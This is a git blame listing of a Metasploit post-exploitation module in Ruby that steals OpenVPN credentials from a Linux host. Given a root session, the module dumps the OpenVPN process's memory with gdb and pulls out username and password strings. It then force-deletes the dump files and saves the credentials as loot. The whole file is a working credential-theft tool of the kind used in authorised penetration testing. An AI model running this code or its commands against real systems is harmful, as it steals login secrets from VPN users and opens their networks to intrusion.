Files
metasploit-gs/modules/post/linux/gather/openvpn_credentials.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

91 lines
2.7 KiB
Ruby
Raw Normal View History

2015-10-19 23:11:02 -02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-10-19 23:11:02 -02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2015-10-19 23:11:02 -02:00
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info = {})
2023-02-08 13:47:34 +00:00
super(
update_info(
info,
'Name' => 'OpenVPN Gather Credentials',
'Description' => %q{
This module grab OpenVPN credentials from a running process
in Linux.
Note: --auth-nocache must not be set in the OpenVPN command line.
},
'License' => MSF_LICENSE,
'Author' => [
2015-10-19 23:11:02 -02:00
'rvrsh3ll', # Discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
],
2023-02-08 13:47:34 +00:00
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
]
)
)
2015-10-19 23:11:02 -02:00
register_options(
[
2015-10-22 15:11:55 -02:00
OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
2015-10-19 23:11:02 -02:00
], self.class
)
end
def pid
datastore['PID']
end
2015-10-22 15:11:55 -02:00
def tmp_path
datastore['TMP_PATH']
end
2015-10-19 23:11:02 -02:00
def run
user = cmd_exec('/usr/bin/whoami')
print_good("Module running as \"#{user}\" user")
2015-10-21 13:12:45 -02:00
unless is_root?
2015-10-19 23:11:02 -02:00
print_error('This module requires root permissions.')
return
end
dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
if dump.chomp.to_i == 0
vprint_good('Succesfully dump.')
else
print_warning('Could not dump process.')
2015-11-17 00:49:04 -02:00
return
end
2015-10-22 15:11:55 -02:00
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
2015-10-19 23:11:02 -02:00
deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
if deldump.chomp.to_i == 0
vprint_good('Removing temp files successfully.')
else
2015-11-17 00:52:42 -02:00
print_warning('Could not remove dumped files. Remove manually.')
2015-10-19 23:11:02 -02:00
end
fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
2015-10-19 23:11:02 -02:00
vprint_good("OpenVPN Credentials:\n#{strings}")
p = store_loot(
'openvpn.grab',
'text/plain',
session,
strings,
nil
)
print_status("OpenVPN Credentials stored in #{p}")
end
end